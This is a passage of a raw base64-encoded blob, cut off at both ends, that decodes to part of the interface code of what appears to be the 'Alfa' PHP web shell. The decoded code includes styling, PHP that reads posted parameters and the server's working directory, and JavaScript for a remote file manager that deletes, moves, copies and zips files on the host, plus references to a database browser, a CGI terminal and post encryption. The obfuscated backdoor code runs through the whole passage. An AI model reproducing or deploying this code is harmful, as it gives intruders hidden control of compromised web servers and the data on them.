AubXlzcWwtcXVlcnktY29udGVudHtoZWlnaHQ6ODklO292ZXJmbG93OmF1dG99Lm15c3FsLXF1ZXJ5LXRhYi1oaWRle2hlaWdodDowIWltcG9ydGFudDtwYWRkaW5nOjAhaW1wb3J0YW50fS5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7d2lkdGg6MTklO2JvcmRlci1yaWdodDo0cHggc29saWQgI2Q5MTQ5YX0ubXlzcWwtbWFpbiB0YWJsZSB0ZHt2ZXJ0aWNhbC1hbGlnbjp0b3B9Lm15c3FsLW1haW4gLm15c3FsLXNlYXJjaC1hcmVhIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtwYWRkaW5nOjdweH0ubXlzcWwtdGFibGVzIC5ibG9ja3twb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxLjVlbTtoZWlnaHQ6MS41ZW07bWluLXdpZHRoOjE2cHg7bWluLWhlaWdodDoxNnB4O2Zsb2F0OmxlZnR9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYiwubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpe3dpZHRoOjEuNWVtO2hlaWdodDoxLjdlbTttaW4td2lkdGg6MTZweDttaW4taGVpZ2h0OjhweDtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206LjdlbTtsZWZ0Oi43NWVtO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBpe2Rpc3BsYXk6YmxvY2s7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzY2Njtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjB9Lm15c3FsLXRhYmxlcyAuYmxvY2sgYntkaXNwbGF5OmJsb2NrO2hlaWdodDouNzVlbTtib3R0b206MDtsZWZ0Oi43NWVtO2JvcmRlci1sZWZ0OjFweCBzb2xpZCAjNjY2fS5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGEsLm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgdXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3otaW5kZXg6MTB9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgaW1ne3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDotLjZlbTtsZWZ0OjA7bWFyZ2luLWxlZnQ6LTdweH0ubXlzcWwtdGFibGVzIC5jbGVhcmZsb2F0e2NsZWFyOmJvdGh9Lm15c3FsLXRhYmxlcyB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZTttYXJnaW4tbGVmdDowO3BhZGRpbmc6MH0ubXlzcWwtdGFibGVzIHVsIGxpe3doaXRlLXNwYWNlOm5vd3JhcDtjbGVhcjpib3RoO21pbi1oZWlnaHQ6MTZweH0ubXlzcWwtdGFibGVzIC5kYl9uYW1le21hcmdpbi1sZWZ0OjEwcHh9Lm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXJ7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7bWFyZ2luLWxlZnQ6Ljc1ZW07cGFkZGluZy1sZWZ0Oi43NWVtfS5oaWRlLWRiLXRhYmxlc3tkaXNwbGF5Om5vbmV9Lm15c3FsLW1haW46YWZ0ZXJ7Y29udGVudDoiIjtkaXNwbGF5OnRhYmxlO2NsZWFyOmJvdGh9dGFibGUubXlzcWwtZGF0YS10Ymx7Ym9yZGVyOm5vbmUhaW1wb3J0YW50O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZSFpbXBvcnRhbnR9dGFibGUubXlzcWwtZGF0YS10YmwgdHIgdGh7cGFkZGluZzo1cHh9dGFibGUubXlzcWwtZGF0YS10YmwgdGR7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICMzMDVhOGQ7Ym9yZGVyLXJpZ2h0OjNweCBzb2xpZCAjMzA1YThkO3BhZGRpbmc6NnB4fXRhYmxlLm15c3FsLWRhdGEtdGJsIHRkOmZpcnN0LWNoaWxke2JvcmRlci1sZWZ0Om5vbmV9dGFibGUubXlzcWwtZGF0YS10YmwgdGQ6bGFzdC1jaGlsZHtib3JkZXItcmlnaHQ6bm9uZX0ubXlzcWwtaW5zZXJ0LXJlc3VsdCwubXlzcWwtc3RydWN0dXJlLXFyZXMsLm15c3FsLXVwZGF0ZS1yZXN1bHR7ZGlzcGxheTpub25lO3RleHQtYWxpZ246Y2VudGVyO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IGRhc2hlZDttYXJnaW46MjJweH0jYWxmYS1jb3B5cmlnaHR7bWFyZ2luLXRvcDoxNXB4fS5pY19iX3BsdXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfcGx1cy5wbmcpfS5pY19iX21pbnVze2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyl9DQo8P3BocCBlY2hvICcNCkBrZXlmcmFtZXMgc3BpbiB7ZnJvbSB7dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0NCkAtd2Via2l0LWtleWZyYW1lcyBzcGluIHtmcm9tIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319DQpALW1vei1rZXlmcmFtZXMgc3BpbiB7ZnJvbSB7LW1vei10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTt9dG8gey1tb3otdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTt9fQ0KQC1tcy1rZXlmcmFtZXMgc3BpbiB7ZnJvbSB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0NCiNhbGZhbG9hZGVyeycuJGNzc2NvZGUuJ3dpZHRoOjEwMHB4O2hlaWdodDoxMDBweDt9DQojYV9sb2FkZXIgaW1neycuJGNzc2NvZGUuJ3dpZHRoOjE1MHB4O2hlaWdodDoxNTBweDtwb3NpdGlvbjpmaXhlZDt6LWluZGV4Ojk5OTk5OTt0b3A6IDMxJTtsZWZ0OiA0NSU7fQ0KLmFqYXhhcmVhe2Rpc3BsYXk6bm9uZTtib3JkZXI6MXB4IHNvbGlkICNkOTE0OWE7Y29sb3I6IzY3QUJERn0udXBfYmFye21hcmdpbi1ib3R0b206IDJweDt0cmFuc2l0aW9uOndpZHRoIDJzO2JhY2tncm91bmQtY29sb3I6cmVkO3dpZHRoOjA7aGVpZ2h0OjhweDtkaXNwbGF5Om5vbmU7fSNoaWRkZW5fc2h7YmFja2dyb3VuZC1jb2xvcjojZDkxNDlhO3RleHQtYWxpZ246Y2VudGVyO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7bGVmdDo5MCU7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czoyZW19LmFsZXJ0X2dyZWVue2NvbG9yOiMwRjA7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDt0ZXh0LWRlY29yYXRpb246bm9uZX0ud2hvbGV7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHBzOi8vZi50b3A0dG9wLmlvL3BfMjQ0M3cxcjZ2MC5wbmcpO2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXR9LmhlYWRlcntoZWlnaHQ6YXV0bzt3aWR0aDphdXRvO2JvcmRlcjo3cHggc29saWQgI2Q5MTQ5YTtjb2xvcjonLmFsZmFfZ2V0Q29sb3IoImhlYWRlcl92YWx1ZXMiKS4nO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9LmhlYWRlciBhe3RleHQtZGVjb3JhdGlvbjpub25lO30uZmlsZXN0b29scyBhe2NvbG9yOiMwRjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmZpbGVzdG9vbHMgYTpob3Zlcntjb2xvcjojRkZGO3RleHQtZGVjb3JhdGlvbjpub25lO31zcGFue2ZvbnQtd2VpZ2h0OmJvbGRlcjtjb2xvcjojRkZGfS50eHRmb250e2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6c21hbGw7Y29sb3I6I2ZmZjtkaXNwbGF5OmlubGluZS1ibG9ja30udHh0Zm9udF9oZWFkZXJ7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpsYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztjb2xvcjojNTljYzMzfS50Ymx0eHR7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2NvbG9yOiNmZmY7Zm9udC1zaXplOnNtYWxsO2Rpc3BsYXk6aW5saW5lLWJsb2NrfWlucHV0W3R5cGU9ImZpbGUiXXtkaXNwbGF5Om5vbmV9LmlucHV0ZmlsZXtib3JkZXI6MXB4IHNvbGlkICNkOTE0OWE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggI2Q5MTQ5YTtib3JkZXItcmFkaXVzOjRweDtoZWlnaHQ6MjBweDt3aWR0aDoyNTBweDt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmlubGluZS1ibG9jaztvdmVyZmxvdzpoaWRkZW59LmlucHV0ZmlsZTpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggICNkOTE0OWE7Ym9yZGVyOjFweCBzb2xpZCAgI2Q5MTQ5YTstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fS5pbnB1dGZpbGUgc3BhbiwuaW5wdXRmaWxlIHN0cm9uZ3twYWRkaW5nOjJweDtwYWRkaW5nLWxlZnQ6MTBweH0uaW5wdXRmaWxlIHNwYW57Y29sb3I6IzI1ZmYwMDt3aWR0aDo5MHB4O21pbi1oZWlnaHQ6MmVtO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7d2hpdGUtc3BhY2U6bm93cmFwO292ZXJmbG93OmhpZGRlbjt2ZXJ0aWNhbC1hbGlnbjp0b3A7ZmxvYXQ6bGVmdH0uaW5wdXRmaWxlIHN0cm9uZ3tiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2FsZmFtaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246ZmxvYXQ7aGVpZ2h0OjEwMCU7d2lkdGg6MTA5cHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiNkOTE0OWE7ZGlzcGxheTppbmxpbmUtYmxvY2s7ZmxvYXQ6cmlnaHR9LmlucHV0ZmlsZTpmb2N1cyBzdHJvbmcsLmlucHV0ZmlsZS5oYXMtZm9jdXMgc3Ryb25nLC5pbnB1dGZpbGU6aG92ZXIgc3Ryb25ne2JhY2tncm91bmQtY29sb3I6IzQ2NjQ3QX0uYnV0dG9ue3BhZGRpbmc6M3B4fSNhZGR1cCwuYnV0dG9ue291dGxpbmU6bm9uZTtjdXJzb3I6cG9pbnRlcjtib3JkZXI6MXB4IHNvbGlkICNkOTE0OWE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggI2Q5MTQ5YTstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOmdyZWVuO2JvcmRlci1yYWRpdXM6MTAwcHh9I2FkZHVwOmhvdmVyLC5idXR0b246aG92ZXJ7Ym94LXNoYWRvdzowIDAgNHB4ICAjZDkxNDlhO2JvcmRlcjoxcHggc29saWQgICNkOTE0OWE7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06ZGlzYWJsZWQ6aG92ZXJ7Y3Vyc29yOm5vdC1hbGxvd2VkfXRke3BhZGRpbmc6Jy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPT0nMSc/JzAnOicxJykuJ3B4fS5teUNoZWNrYm94e3BhZGRpbmctbGVmdDoycHh9Lm15Q2hlY2tib3ggbGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y3Vyc29yOnBvaW50ZXI7cG9zaXRpb246cmVsYXRpdmV9Lm15Q2hlY2tib3ggaW5wdXRbdHlwZT1jaGVja2JveF17ZGlzcGxheTpub25lfS5teUNoZWNrYm94IGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjE0cHg7aGVpZ2h0OjEzcHg7cG9zaXRpb246YWJzb2x1dGU7YmFja2dyb3VuZC1jb2xvcjojYWFhO2JveC1zaGFkb3c6aW5zZXQgMCAycHggM3B4IDAgcmdiYSgwLDAsMCwuMyksMCAxcHggMCAwIHJnYmEoMjU1LDI1NSwyNTUsLjgpfS5teUNoZWNrYm94IGxhYmVse21hcmdpbi1ib3R0b206MTVweDtwYWRkaW5nLXJpZ2h0OjE3cHh9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2JvcmRlci1yYWRpdXM6MTAwcHh9aW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCArIGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2JhY2tncm91bmQtY29sb3I6I2Q5MTQ5YTtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2FsZmFtaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246NTAlIDUwJTtiYWNrZ3JvdW5kLXNpemU6MTRweCAxNHB4O2JveC1zaGFkb3c6MCAwIDRweCAjMEYwfSNtZXVubGlzdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO2NvbG9yOiNGRkY7d2lkdGg6YXV0bztib3JkZXItcmlnaHQtd2lkdGg6N3B4O2JvcmRlci1sZWZ0LXdpZHRoOjdweDtoZWlnaHQ6YXV0bztmb250LXNpemU6MTJweDtmb250LXdlaWdodDo3MDA7Ym9yZGVyLXRvcC13aWR0aDowO2JvcmRlci1jb2xvcjojZDkxNDlhO2JvcmRlci1zdHlsZTpzb2xpZH0ud2hvbGUgI21ldW5saXN0IHVse3RleHQtYWxpZ246Y2VudGVyO2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbjowO3BhZGRpbmc6NXB4IDVweCA3cHggMnB4fS53aG9sZSAjbWV1bmxpc3QgbGl7bWFyZ2luOjA7cGFkZGluZzowO2Rpc3BsYXk6aW5saW5lfS53aG9sZSAjbWV1bmxpc3QgYXtmb250LWZhbWlseTphcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O3RleHQtZGVjb3JhdGlvbjpub25lO2ZvbnQtd2VpZ2h0OjcwMDtjbGVhcjpib3RoO3dpZHRoOjEwMHB4O21hcmdpbi1yaWdodDotNnB4O2JvcmRlci1yaWdodC13aWR0aDoxcHg7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1jb2xvcjojRkZGO3BhZGRpbmc6M3B4IDE1cHh9LmZvb3R7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZjttYXJnaW46MDtwYWRkaW5nOjA7d2lkdGg6MTAwJTt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTJweDtjb2xvcjojZDkxNDlhO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2JvcmRlci1ib3R0b20td2lkdGg6N3B4O2JvcmRlci1ib3R0b20tc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1zdHlsZTpzb2xpZDtib3JkZXItbGVmdC1zdHlsZTpzb2xpZDtib3JkZXItY29sb3I6I2Q5MTQ5YX0jdGV4dHt0ZXh0LWFsaWduOmNlbnRlcn1pbnB1dFt0eXBlPXN1Ym1pdF17Y3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdidG4nKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjo1MCUgNTAlO2JhY2tncm91bmQtc2l6ZToyM3B4IDIzcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7Ym9yZGVyOjFweCBzb2xpZCAgI2Q5MTQ5YTtib3JkZXItcmFkaXVzOjEwMHB4fXRleHRhcmVhe3BhZGRpbmc6M3B4O2NvbG9yOiM5OTk7dGV4dC1zaGFkb3c6Izc3NyAwIDAgM3B4O2JvcmRlcjoxcHggc29saWQgI2Q5MTQ5YTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjZDkxNDlhO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9dGV4dGFyZWE6aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICAjZDkxNDlhO2JvcmRlcjoxcHggc29saWQgICNkOTE0OWE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdLGlucHV0W3R5cGU9bnVtYmVyXSwuYWxmYV9jdXN0b21fY21kX2J0bntwYWRkaW5nOjNweDtjb2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICNkOTE0OWE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggI2Q5MTQ5YTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fWlucHV0W3R5cGU9c3VibWl0XTpob3Zlcntjb2xvcjojMDAwO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggICNkOTE0OWE7Ym9yZGVyOjJweCBzb2xpZCAgI2Q5MTQ5YTstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICAjZDkxNDlhO2JvcmRlcjoxcHggc29saWQgICNkOTE0OWE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1zZWxlY3R7cGFkZGluZzozcHg7d2lkdGg6MTYycHg7Y29sb3I6I0ZGRTt0ZXh0LXNoYWRvdzojMDAwIDAgMnB4IDdweDtib3JkZXI6MXB4IHNvbGlkICNkOTE0OWE7YmFja2dyb3VuZDojMDAwO3RleHQtZGVjb3JhdGlvbjpub25lO2JveC1zaGFkb3c6MCAwIDRweCAjZDkxNDlhO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9c2VsZWN0OmhvdmVye2JvcmRlcjoxcHggc29saWQgICNkOTE0OWE7Ym94LXNoYWRvdzowIDAgNHB4ICAjZDkxNDlhO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9DQouZm9vdHRhYmxle3dpZHRoOiAzMDBweDtmb250LXdlaWdodDogYm9sZDsnLighQGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/J30uZGlye2JhY2tncm91bmQtY29sb3I6cmVkO30nOid9JykuJy5tYWluIHRoe3RleHQtYWxpZ246bGVmdDt9Lm1haW4gYXtjb2xvcjogI0ZGRjt9Lm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNjQ2NDY0ICFpbXBvcnRhbnQ7fS5tbDF7IGJvcmRlcjoxcHggc29saWQgI2Q5MTQ5YTtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfS5iaWdhcmVheyB3aWR0aDo5OSU7IGhlaWdodDozMDBweDsgfS5hbGZhX2N1c3RvbV9jbWRfYnRuIHtwYWRkaW5nOiA1cHg7Y29sb3I6ICMyNGZmMDM7Y3Vyc29yOiBwb2ludGVyO30uYWpheGFyZWEuZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQge2Rpc3BsYXk6IGJsb2NrO30nLmFsZmFDc3NMb2FkQ29sb3JzKCkuJw0KPC9zdHlsZT4nOw0KZWNobyAiPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPg0KdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCnZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJzsNCnZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsNCnZhciBpc2xpbnV4ID0gIi4oJEdMT0JBTFNbJ3N5cyddIT0id2luIj8ndHJ1ZSc6J2ZhbHNlJykuIjsNCnZhciBwb3N0X2VuY3J5cHRpb25fbW9kZSA9ICIuKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXz8ndHJ1ZSc6J2ZhbHNlJykuIjsiOz8+DQp2YXIgYWxmYTFfPSIiLGFsZmEyXz0iIixhbGZhM189IiIsYWxmYTRfPSIiLGFsZmE1Xz0iIixhbGZhNl89IiIsYWxmYTdfPSIiLGFsZmE4Xz0iIixhbGZhOV89IiIsYWxmYTEwXz0iIixkPWRvY3VtZW50LG15c3FsX2NhY2hlPXt9LGVkaXRvcl9maWxlcz17fSxlZGl0b3JfZXJyb3I9ITAsZWRpdG9yX2N1cnJlbnRfZmlsZT0iIixwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSExLGlzX21pbmltaXplZD0hMSxjZ2lfaXNfbWluaW1pemVkPSExLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMSxkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PW51bGwsY2FuX2hhc2hjaGFuZ2Vfd29yaz0hMCxhbGZhX2Nhbl9hZGRfb3B0PSExLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIixhbGZhX2FjZV9lZGl0b3JzPXtlZGl0b3I6bnVsbCxldmFsOm51bGx9LGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YT17fSxfQUxGQV9BSkFYXz17fSxjZ2lfbGFuZz0iIix1cGNvdW50PTEsdGVybWluYWxfd2Fsa19pbmRleD1bXSxhbGZhX2N1cnJlbnRfZm1faWQ9MSxhbGZhX2ZtX2lkPTA7ZnVuY3Rpb24gc2V0KGUsYSx0LGksbCxvLHIsbixzLGMsZixfLHUpe2QubWYuYS52YWx1ZT1udWxsIT1lP2U6YV8sZC5tZi5jLnZhbHVlPW51bGwhPWE/YTpjXyxkLm1mLmFsZmExLnZhbHVlPW51bGwhPXQ/dDoiIixkLm1mLmFsZmEyLnZhbHVlPW51bGwhPWk/aToiIixkLm1mLmFsZmEzLnZhbHVlPW51bGwhPWw/bDoiIixkLm1mLmFsZmE0LnZhbHVlPW51bGwhPW8/bzoiIixkLm1mLmFsZmE1LnZhbHVlPW51bGwhPXI/cjoiIixkLm1mLmFsZmE2LnZhbHVlPW51bGwhPW4/bjoiIixkLm1mLmFsZmE3LnZhbHVlPW51bGwhPXM/czoiIixkLm1mLmFsZmE4LnZhbHVlPW51bGwhPWM/YzoiIixkLm1mLmFsZmE5LnZhbHVlPW51bGwhPWY/ZjoiIixkLm1mLmFsZmExMC52YWx1ZT1udWxsIT1fP186IiIsZC5tZi5jaGFyc2V0LnZhbHVlPW51bGwhPXU/dTpjaGFyc2V0X31mdW5jdGlvbiBmYyhlKXt2YXIgYT1hbGZhX2N1cnJlbnRfZm1faWQsdD0iYT0iK2FsZmFiNjQoIkZpbGVzTWFuIikrIiZjPSIrYWxmYWI2NChlLmMudmFsdWUpKyImYWxmYTE9IithbGZhYjY0KGUuYWxmYTEudmFsdWUpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSsiJiIsaT0iIixsPTA7aWYoZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZCYmKGwrKyxpKz0iZltdPSIrYWxmYWI2NChkZWNvZGVVUklDb21wb25lbnQoZS52YWx1ZSkpKyImIil9KSwwPT1sJiYicGFzdGUiIT1lLmFsZmExLnZhbHVlKXJldHVybiExO3N3aXRjaChhbGZhbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIithLCJibG9jayIpLGUuYWxmYTEudmFsdWUpe2Nhc2UiZGVsZXRlIjpkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIGE9ZS5xdWVyeVNlbGVjdG9yKCJpbnB1dFt0eXBlPWNoZWNrYm94XSIpO2EuY2hlY2tlZCYmIi4uIiE9YS52YWx1ZT9lLnJlbW92ZSgpOmEuY2hlY2tlZD0hMX0pLGQucXVlcnlTZWxlY3RvcigiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiAuY2hrYngiKS5jaGVja2VkPSExO2JyZWFrO2Nhc2UiY29weSI6Y2FzZSJtb3ZlIjpjYXNlInppcCI6Y2FzZSJ1bnppcCI6ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2U